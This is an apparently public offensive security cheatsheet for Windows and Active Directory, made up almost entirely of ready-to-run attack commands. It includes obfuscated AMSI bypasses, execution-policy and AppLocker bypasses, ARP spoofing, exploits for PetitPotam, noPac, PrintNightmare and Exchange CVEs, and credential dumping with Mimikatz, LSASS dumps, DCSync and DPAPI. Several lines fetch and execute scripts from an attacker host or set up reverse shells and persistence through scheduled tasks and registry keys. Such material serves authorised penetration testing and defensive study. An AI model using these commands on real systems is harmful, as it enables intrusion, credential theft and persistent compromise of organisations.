Microsoft

Different cheatsheets useful in Windows and Active Directory environment

Active Directory

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

Misc

Internal audit mindmap

Insane mindmap by @M4yFly.

Bypass AMSI

#Downgrade PowerShell
powershell -v 2 -c "<...>"

#Classic
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

#Base64
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

#Force AMSI error
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

#On PowerShell 6
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Create PowerShell credentials

$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $pass)

Decipher Secure-String

With the corresponding AES key

$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$decrypted

Bypass execution policy

#By spawning a new PowerShell session in the current one
powershell -nop -exec bypass

#By disabling the execution policy in the registry
Set-ExecutionPolicy -ExecutionPolicy bypass -Scope LocalMachine -Force

#Load a PowerShell module without confirmation prompt
Import-Module ./evil.psm1 -Force

Execution context / AppLocker

AppLocker

#Get AppLocker policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

By default, C:\Windows is not blocked, and C:\Windows\Tasks is writeable by any users.

Bypass Constrained Language Mode

Import BypassCLM.exe and Mono.Options.dll in a directory where the AppLocker policy authorize the execution, then

#Get language mode
$ExecutionContext.SessionState.LanguageMode
#To bypass with PowerShell 6
pwsh

.\BypassCLM.exe -c "iex (new-object net.webclient).downloadstring('http://192.168.50.44/Invoke-HelloWorld.ps1')"

Port forwarding

We can contact a machine, and this one can contact another machine, but we can't contact the second machine directly from our primary machine
On the "central" machine, all the hit on the port 80 or 4545 will be forward to the connectaddress on the specified port :

#Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80

#Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545

Run domain commands from a non domain joined computer

runas /netonly /user:DOMAIN\User1 cmd.exe

Initial Access

What to do when you are plugged on the network without creds.

First, run bettercap with this config file:

# quick recon of the network
net.probe on

# set the ARP poisoning
set arp.spoof.targets <target_IP>
set arp.spoof.internal true
set arp.spoof.fullduplex true

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff.mdns

# start the modules
arp.spoof on
net.sniff on

sudo ./bettercap --iface <interface> --caplet spoof.cap

Then sniff with Wireshark. When it is finish, save the trace in a .pcap file and extract the secrets:

python3 ./Pcredz -f extract.pcap

Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over smb_login is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts!

./kerbrute userenum -domain domain.local users.txt

Test for the Top1000 with login = password

Possible other passwords:

(empty)
password
P@ssw0rd

In case a printer (or something similar) has an LDAP account, but use the SASL authentication family instead of SIMPLE, the classic LDAP passback exploitation with a nc server will not be sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak PLAIN and LOGIN protocols. This Docker permits to operate with weak protocols.

docker buildx build -t ldap-passback .
docker run --rm -ti -p 389:389 ldap-passback

In parallel, listen with tshark:

tshark -i any -f "port 389" \
  -Y "ldap.protocolOp == 0 && ldap.simple" \
  -e ldap.name -e ldap.simple -Tjson

CVEs

AD oriented

If the target is not patched, this CVE can be exploited without creds.

./PetitPotam.exe -pipe all <attacker_IP> <target_IP>

To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one.

#Scan for the vuln
.\noPac.exe scan -domain domain.local -user user1 -pass 'password'

#Exploit it and retrieve a ST for the DC
.\noPac.exe -domain domain.local -user user1 -pass 'password' /dc dcVuln.domain.local /mAccount evilComputer /mPassword 'evilPass!' /service cifs /ptt

#Load and execute a DLL hosted on a SMB server on the attacker machine
./SharpPrintNightmare.exe '\\<attacker_IP>\smb\addUser.dll' '\\<target_IP>'

The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link.

The exploits in the Metasploit framework are good for these two CVEs.

#EternalBlue
msf6 exploit(windows/smb/ms17_010_psexec) >

#Blue Keep
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >

Be careful, this exploit is pretty unstable and the risk of BSOD is really important. The exploit in the Metasploit framework is good for this CVE.

msf6 exploit(windows/smb/cve_2020_0796_smbghost) >

To exploit this CVE the RC4-MD4 encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target.

./CVE-2022-33079.py -dc-ip <DC_IP> domain.local/<as-rep_roastable_user> <target_NETBIOS>

# Fetch current user object
$user = get-aduser <victim username> -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp')

# Install malicious Roaming Token (spawns calc.exe)
$malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865"
$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"
Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose

# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]]
Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose

To exploit this CVE, a controlled service account with constrained delegation to the target account is needed.

./Rubeus.exe s4u /bronzebit /user:<service_account> /rc4:<service_account_hash> /dc:dc.domain.local /impersonateuser:Administrator /domain:domain.local /altservice:cifs/target.domain.local /nowrap

goldenPac.py 'domain.local'/'user1':'password'@<DC_IP>

Targeting Exchange server

The exploits in the Metasploit framework are good for these three CVEs.

msf6 exploit(windows/http/exchange_proxynotshell_rce) >
msf6 exploit(windows/http/exchange_proxyshell_rce) >
msf6 exploit(windows/http/exchange_proxylogon_rce) >

This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a .msg file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target.

python3.exe CVE-2023-23397.py --path '\\<attacker_IP>\'

Before sending the email, run Inveigh to intercept the NTLM hash.

For local privesc

./SpoolFool.exe -dll adUser.dll

#In PowerShell
Import-Module .\SpoolFool.ps1
Invoke-SpoolFool -dll adUser.dll

./SharpPrintNightmare.exe ./adUser.dll

./Invoke-HiveNightmare.ps1 -path ./HiveDumps

Domain Enumeration

Domain objects

Current domain

#PowerView
Get-NetDomain
#AD Module
Get-ADDomain

#Domain SID
Get-DomainSID
(Get-ADDomain).DomainSID

#Domain policy
(Get-DomainPolicy)."system access"

Another domain

#PowerView
Get-NetDomain -Domain domain.local

#AD Module
Get-ADDomain -Identity domain.local

Domain controller

Current domain

#PowerView
Get-NetDomainController
#AD Module
Get-ADDomainController

Get-NetDomainController -Domain domain.local
Get-ADDomainController -DomainName domain.local -Discover

Users enumeration

List users

#PowerView
Get-NetUser
Get-NetUser -Identity user1

#AD Module
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity user1 -Properties *

User's properties

#AD Module
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}

Search for a particular string in attributes

Find-UserField -SearchField Description -SearchTerm "password"
Get-ADUser -Filter 'Description -like "*password*"' -Properties Description | select name,Description

Actively logged users on a machine

Needs local admin rights on the target

Get-NetLoggedon -ComputerName <target>

Locally logged users on a machine

Needs remote registry on the target - started by-default on server OS

Get-LoggedonLocal -ComputerName <target>

Last logged user on a machine

Needs administrative rights and remote registry on the target

Get-LastLoggedOn -ComputerName <target>

User hunting

Find machine where the user has admin privs

Find-LocalAdminAccess -Verbose

If the RPC or SMB ports are blocked, see Find-WMILocalAdminAccess.ps1 and Find-PSRemotingLocalAdminAccess.ps1 to use WMI or PowerShell Remoting

Find local admins on the domain machines

Invoke-EnumerateLocalAdmin -Verbose

Find machines where specific users or groups have sessions

Invoke-UserHunter #Admins
Invoke-UserHunter -GroupName "<group_target>"

Check local admin access for the current user where the targets are found

Invoke-UserHunter -CheckAccess

Computers enumeration

#PowerView
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -FullData

#AD Module
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{TestConnection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *

Groups enumeration

Groups in the current domain

#PowerView
Get-NetGroup
Get-NetGroup -FullData

#AD Module
Get-ADGroup -Filter * | select Name 
Get-ADGroup -Filter * -Properties *

Search for a particular string in attributes

#PowerView
Get-NetGroup *admin*

#AD Module
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name

All users in a specific group

#PowerView
Get-NetGroupMember -GroupName "<group>" -Recurse

#AD Module
Get-ADGroupMember -Identity "<group>" -Recursive

All groups of an user

#PowerView
Get-NetGroup -MemberIdentity "user1"

#AD Module
Get-ADPrincipalGroupMembership -Identity "user1"

Local groups enumeration

Get-NetLocalGroup -ComputerName <target> -ListGroups

Members of local groups

Get-NetLocalGroup -ComputerName <target> -Recurse

Shares / Files

Find shares on the domain

Invoke-ShareFinder -Verbose

Sensitive files on the domain

Invoke-FileFinder -Verbose
Invoke-FileFinder -Verbose -Include "*pass*"

Or with Snaffler

snaffler.exe -s - snaffler.log ... (:

#Snaffle all the computers in the domain
./Snaffler.exe -d domain.local -c <DC> -s
	#Send the result to a file
./Snaffler.exe -d domain.local -c <DC> -o res.log

#Snaffle specific computers
./Snaffler.exe -n computer1,computer2 -s

#Snaffle a specific directory
./Snaffler.exe -i C:\ -s

Find all fileservers of the domain

Get-NetFileServer

GPO enumeration

List of GPO in the domain

#PowerView
Get-NetGPO
#GPOs applied to a computer
Get-NetGPO -ComputerName <target>

#AD Module
Get-GPO -All #(GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html #(Provides RSoP)

Get GPO that modify local group via Restricted Groups

Get-NetGPOGroup

Users which are in a local group of a machine using GPOs

Find-GPOComputerAdmin -Computername <target>

Machine where an user is member of a local group using GPOs

Find-GPOLocation -Identity user1 -Verbose

Organisation Units

OUs of the domain

Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *

Computers within an OU

Get-NetComputer | ? { $_.DistinguishedName -match "OU=<OU_name>" } | select DnsHostName

GPO applied on an OU / Read GPO from the GP-Link attribut from Get-NetOU

Get-NetGPO -GPOname "{<OU_ID>}"
Get-GPO -Guid <OU_ID> #(GroupPolicy module)

DACLs

All ACLs associated to an object (inbound)

Get-ObjectAcl -Identity user1 -ResolveGUIDs
(Get-ObjectAcl | Where-Object {$_.ObjectSid -match "<object_SID>"})

Outbound ACLs of an object

These are the rights the object has in the AD

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<target>"}
Get-ObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -match "user1"}

ACLs associated to a specific path

Get-PathAcl -Path "\\dc.domain.local\sysvol"

Trusts

Map trusts

Invoke-MapDomainTrust

Domain trusts for the current domain

#PowerView
Get-NetDomainTrust #Find potential external trust

#AD Module
Get-ADTrust

Forest

Details about the current forest

#PowerView
Get-NetForest
Get-NetForest -Forest domain.local

#AD Module
Get-ADForest
Get-ADForest -Identity domain.local

All domains in the current forest

#PowerView
Get-NetForestDomain
Get-NetForestDomain -Forest domain.local

#AD Module
(Get-ADForest).Domains

Global catalogs of the current forest

#PowerView
Get-NetForestCatalog
Get-NetForestCatalog -Forest domain.local

#AD Module
Get-ADForest | select -ExpandProperty GlobalCatalogs

Forest trusts

#PowerView
Get-NetForestTrust
Get-NetForestTrust -Forest domain.local

#AD Module
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

BloodHound / SharpHound / SOAPHound

Basic usage

# Default collection
SharpHound.exe

# All collection excepted GPOLocalGroup with all string properties
SharpHound.exe --CollectionMethod All --CollectAllProperties

#Only collect from the DC, doesn't query the computers (more stealthy)
SharpHound.exe --CollectionMethod DCOnly
#Only collect user sessions and LocalGroup from computers, not the DC
SharpHound.exe --CollectionMethod ComputerOnly

Stealth usage

#Stealth collection soutions
SharpHound.exe --CollectionMethod ComputerOnly --Stealth
SharpHound.exe --ExcludeDomainControllers

#Encrypt the output archive with a random password
SharpHound.exe --EncryptZip

Loop collection

Useful for user session collection for example. SharpHound will run the collection regularly and output a new zip file after each loop.

#It will loop during 2h by default
SharpHound.exe --CollectionMethod Session --Loop

#Loop during 5h
SharpHound.exe --CollectionMethod Session --Loop --Loopduration 05:00:00

From a non domain joined computer

runas /netonly /user:DOMAIN\User1 cmd.exe
net view \\domain\
SharpHound.exe -d domain.local

Interesting Neo4j queries

Users with SPNs

MATCH (u:User {hasspn:true}) RETURN u

AS-REP Roastable users

MATCH (u:User {dontrepreauth:true}) RETURN u

Computers AllowedToDelegate to other computers

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p

Shortest path from Kerberoastable user

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Computers in Unconstrained Delegations

MATCH (c:Computer {unconsraineddelegation:true}) RETURN c

Rights against GPOs

MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p

Potential SQL Admins

MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p

LAPS

Machine with LAPS enabled

MATCH (c:Computer {haslaps:true}) RETURN c

Users with read LAPS rights against "LAPS machines"

MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p

SOAPHound

A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound.

#Build cache
SOAPHound.exe --showstats -c c:\temp\cache.txt

#Collect data
SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output

#For larger domain, if timeout errors are encountered
SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output --autosplit --threshold 1000

#Collect ADCS data
SOAPHound.exe -c c:\temp\cache.txt --certdump -o c:\temp\bloodhound-output

#Dump ADIDNS data
SOAPHound.exe --dnsdump -o c:\temp\dns-output

AD Miner

AD Miner is another solution to display BloodHound data into a web based GUI. It is usefull for its Smartest paths feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a ExecuteDCOM edge).

Local Privesc

PowerUp

#All checks
Invoke-AllChecks

#Get services with unquoted paths and a space in their name.
Get-UnquotedService -Verbose

#Get services where the current user can write to its binary path or change arguments to the binary
Get-ModifiableServiceFile -Verbose

#Get the services whose configuration current user can modify.
Get-ModifiableService -Verbose

#DLL Hijacking
Find-ProcessDLLHijack
Find-PathDLLHijack

Other enumeration tools

#PrivescCheck: https://github.com/itm4n/PrivescCheck
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended

.\beRoot.exe
.\winPEAS.exe
.\Seatbelt.exe -group=all -full

#Privesc: https://github.com/enjoiz/Privesc
Invoke-PrivEsc

Always Install Elevated

run msiexec /i BeaconInstaller.msi /q /n

Impersonation attacks / Potatoes

Full article here

KrbRelayUp

With RBCD

./KrbRelayUp.exe relay -Domain domain.local -CreateNewComputerAccount -ComputerName test$ -ComputerPassword Password123!
./KrbRelayUp.exe spawn -d domain.local -cn test$ -cp Password123!

With ShadowCreds

./KrbRelayUp.exe full -m shadowcred --ForceShadowCred

With ADCS

./KrbRelayUp.exe full -m adcs

DavRelayUp

Similar to KrbRelayUp, but relay from WebDAV to LDAP.

#Create a new computer account to perform RBCD
./DavRelayUp.exe -c

#Use an existing computer account
./DavRelayUp.exe -cn <computer_name> -cp <computer_password>

#Impersonate another local user than Administrator
./DavRelayUp.exe -c -i user1

#Start WebDAV on another port than the default 55555
./DavRelayUp.exe -c -p 1234

Massive local privesc cheatsheet

PayloadAllTheThings

Escape JEA

Abuse an allowed function

#Look at allowed functions
Get-Command

#Look at the function code
(Get-Command <function>).Definition
#Or
gcm <function> -show

For example if it is possible to control the $param parameter here $ExecutionContext.InvokeCommand.ExpandString($param), it is possible to execute some code by passing this as argument : '$(powershell.exe -c "iEx (New-Object System.Net.WebClient).DownloadString(''http://attacker_IP/Invoke-HelloWorld.ps1'')")'

Function creation

If the JEA allowed to create a new function it can be abused

Invoke-Command -Session $sess -ScriptBlock {function blackwasp {iex (new-object net.webclient).downloadstring('http://attacker_IP/Invoke-HelloWorld.ps1')}}
Invoke-Command -Session $sess -ScriptBlock {blackwasp}

With another WinrRM client

Sometimes this WinRM in Python can bypass the JEA

import winrm

s = winrm.Session('target_IP', auth=('administrator', 'password'))
r = s.run_cmd('powershell -c "IEX((New-Object System.Net.WebClient).DownloadString(\'http://attacker_IP/Invoke-HelloWorld.ps1\'))"')

print r.status_code
print r.std_out
print r.std_err

Local Persistence

SharPersist

SharPersist.exe can be used for local persistence on a workstation.

Common userland persistences:

#Convert command to execute to base64
$str = 'IEX ((new-object net.webclient).downloadstring("http://attacker_ip/a"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

#Via scheduled task
.\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64>" -n "Updater" -m add -o hourly

#Via startup folder
.\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64>" -f "UserEnvSetup" -m add

#Via registry key, first create a .exe beacon named updater.exe, then
.\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add

LAPS persistence

To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.

Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

JEA persistence

Allows every commands to a user on a machine.

Set-JEAPermissions -ComputerName dc -SamAccountName user1 -Verbose

Enter-PSSession -ComputerName dc -ConfigurationName microsoft.powershell64

Lateral Movement

PowerShell remoting

From one computer to other ones

$sess = New-PSSession -ComputerName <computername>
Enter-PSSession -Session $sess

#Provide PS credentials
New-PSSession -Credential $cred

#To many computers
Invoke-Command -Credential $cred -ComputerName (Get-Content ./listServers.txt)

Execute scripts

#Script block
Invoke-Command -Scriptblock {Get-Process} -ComputerName Server01, Server02

#Script from file
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -ComputerName Server01

Execute locally loaded function to remote

Can be usefull to bypass some restricions

Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01, Server02

#With arguments
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01 -ArgumentList DumpCreds

Item copy

Copy-Item -ToSession $sess -Path <local_path> -Destination <path_on_target>

Scheduled task creation

Create a scheduled task on a remote machine, with sufficient rights

#Creation
schtasks /create /S <target>.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://<attacker_IP>/Invoke-PowerShellTcp.ps1''')'"

#Task execution
schtasks /Run /S <target>.domain.local /TN "STCheck"

Credentials gathering / Mimikatz

Dump creds

#Dump LSASS credentials on a local machine
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'

procdump.exe -accepteula -ma <lsass_PID> lsass.dmp

#Dump SAM and LSA
reg save HKLM\SAM "C:\Windows\Temp\sam.save"
reg save HKLM\SECURITY "C:\Windows\Temp\security.save"
reg save HKLM\SYSTEM "C:\Windows\Temp\system.save"

Invoke-Mimikatz -Command '"lsadump::sam"'
Invoke-Mimikatz -Command '"lsadump::secrets"'

#Dump LSA in a PDF with LSA_reg2pdf
#Exec get_pdf, and get_bootkey on your host to parse the PDF
.\get_pdf.exe 1
python3.exe get_bootkey.py

#Dump credentials on multiple remote machines
Invoke-Mimikatz -DumpCreds -ComputerName @("Server01","Server02")

#Make a DCSync attack on all the users
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all"'

#Retrieve NT hashes via Key List Attack on a RODC
    #First, forge a RODC Golden Ticket
.\Rubeus.exe golden /rodcNumber:<krbtgt_number> /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:<krbtgt_aes_key> /user:user1 /id:<user_RID> /domain:domain.local /sid:<domain_SID>
    #Then, request a ST and retrieve the NT hash in the TGS-REP
.\Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:ticket.kirbi /service:krbtgt/domain.local 

#Certsync - retrieve the NT hashes of all the users with PKINIT
#Backup the private key and the certificate of the Root CA, and forge Golden Certificates for all the users
#Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes with UnPAC-The-Hash
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP>
    #Provide the CA .pfx if it has been obtained with another way
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP> -ca-pfx CA.pfx

Many techniques to dump LSASS : https://redteamrecipe.com/50-Methods-For-Dump-LSASS/

Credentials Vault & DPAPI

Credential manager blobs are stored in C:\Users\<user>\AppData\Local\Microsoft\Credentials

List with Mimikatz:

Invoke-Mimikatz -Command '"vault::list"'

To decrypt the creds, the DPAPI master encryption key must be retrieved. The key GUID can be retrieved with Mimikatz (the filed guidMasterKey is the one):

Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob>"'

The GUID can be used to retrieve the key on the DC via a RPC call by providing the full path:

Invoke-Mimikatz -Command '"dpapi::masterkey /in:C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<user_SID>\<key_GUID> /rpc"'

Now it possible to decipher the creds with the key:

Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob> /masterkey:<key>"'

SharpDPAPI is also a pretty good tool for DPAPI operations. Here in an elevated context to decrypt machine credential files and vaults:

.\SharpDPAPI.exe machinecredentials
.\SharpDPAPI.exe machinevaults

Or here, to decrypt user's master keys with a domain backup key, and use them to decipher credential files:

.\SharpDPAPI.exe masterkeys /pvk:key.pvk
.\SharpDPAPI.exe credentials {<masterkey_GUID>}:<masterkey_hash> {<masterkey2_GUID>}:<masterkey2_hash>

Lazagne

To retrieve maximum creds.

./lazagne.exe all

Credentials in third party softwares

Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on.

The more complete ThievingFox approach is presented in the Active Directory - Python edition cheatsheet.

#KeePass with KeeThief
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose

#RDP creds with Mimikatz
#Client side
Invoke-Mimikatz -Command '"ts::mstsc"'
#Server side
Invoke-Mimikatz -Command '"ts::logonpasswords"'

#Credentials in Veeam database
./SharpVeeamDecryptor.exe

Force a NTLM authentication from a connected user

This attack weaponize DCOM objects to perform actions on behalf of an interactively connected user. Can be mixed with the NTLM downgrade or WebClient attacks to obtain NTLMv1 or HTTP authentication. Explains here.

#With ServerDataCollectorSet
$a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("03837546-098B-11D8-9414-505054503030", "<target_IP>"))
$a.DataManager.Extract("\\<attacker_IP>\share\test.txt", "xforcered")

#With FileSystemImage
$a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("2C941FC5-975B-59BE-A960-9A2A262853A5", "<target_IP>"))
$a.WorkingDirectory = "\\<attacker_IP>\share\test.txt"

#With UpdateSession, this one only trigger the machine account authentication
$a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("4CB43D7F-7EEE-4906-8698-60DA1C38F2FE"))
$a.CreateUpdateServiceManager().AddScanPackageService("XFORCERED","\\<attacker_IP>\share\test.txt")

Bypass RunAsPPL

Check if RunAsPPL is enabled in the registry.

Look at HKLM\SYSTEM\CurrentControlSet\Control\Lsa

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-

If Mimikatz can't be used, PPLKiller is an alternative

./PPLKiller.exe /installDriver
./PPLKiller.exe /disableLSAProtection
./PPLKiller.exe /uninstallDriver

And more recently, PPLmedic

./PPLmedic.exe dump <lsass_PID> <C:\path\to\dump.dmp>

Pass the Challenge

This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This modified version of Pypykatz must be used to parse the LDAP dump. Full explains here.

NTLMv1

#Dump the LSASS process with Mimikatz for example
#Parse the dump with Pypykatz
python3 -m pypykatz lsa minidump lsass.DMP -p msv

#Inject the SecurityPackage.dll into the LSASS process
./PassTheChallenge.exe inject ./SecurityPackage.dll

#Retrieve the NTLMv1 hash
./PassTheChallenge.exe nthash <context handle>:<proxy info> <encrypted blob>

#Crack the NTLMv1 hash on crack.sh to retrieve the NT hash

NTLMv2

In case where only NTLMv2 is allowed, it will not be possible to crack the NTLM hash, but it is possible to pass the challenge and provide the response. It is possible to perform this attack with this modified version of Impacket. First, as above:

#Dump the LSASS process with Mimikatz for example
#Parse the dump with Pypykatz
python3 -m pypykatz lsa minidump lsass.DMP -p msv

#Inject the SecurityPackage.dll into the LSASS process
./PassTheChallenge.exe inject ./SecurityPackage.dll

Then, authenticate with an Impacket tool specifying CHALLENGE as password, provide the printed challenge to PassTheChallenge, and send the computed response to Impacket:

#Authenticate with CHALLENGE as password
psexec.py 'domain.local/user1:CHALLENGE@target.domain.local'

#Copy paste the challenge to PassTheChallenge.exe and retrieve the response
./PassTheChallenge.exe challenge <context handle>:<proxy info> <encrypted blob> <challenge>

#Paste the response to the Impacket prompt (possible that multiple response are needed)

Pass The Hash

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<nthash> /run:powershell.exe"'

Over Pass The Hash / Pass The Key

Generate Kerberos TGT from hashes (or AES keys)

#With Mimikat
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /rc4:<nthash> /run:powershell.exe"'
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /aes256:<aes_key> /run:powershell.exe"'

#With Rubeus
.\Rubeus.exe asktgt /domain:domain.local /user:Administrator /rc4:<nthash> /ptt /opsec
.\Rubeus.exe asktgt /domain:domain.local /user:Administrator /aes256:<aes_key> /ptt /opsec

Bypass Kerberos Double Hop

By default, Kerberos doesn't permise to run a PSSession into a PSSession (or Invoke-Command into a PSSession, or whatever)

This can be bypassed with Mimikatz, by running a reverse shell in a Over-Pass-the-Hash from a PSSession

$Contents = "powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://<attacker_IP>/Invoke-HelloWorld.ps1'))"
Out-File -Encoding Ascii -InputObject $Contents -FilePath ./reverse.bat
Invoke-Mimikatz -Command '"sekurlsa::pth /user:user1 /domain:domain.local /ntlm:<nthash> /run:.\reverse.bat"'

In the new shell it is not possible to run an Enter-PSSession, but it is possible to create a New-PSSession and run Invoke-Command into this new session

$sess = New-PSSession <target>
Invoke-Command -ScriptBlock{whoami;hostname} -Session $sess

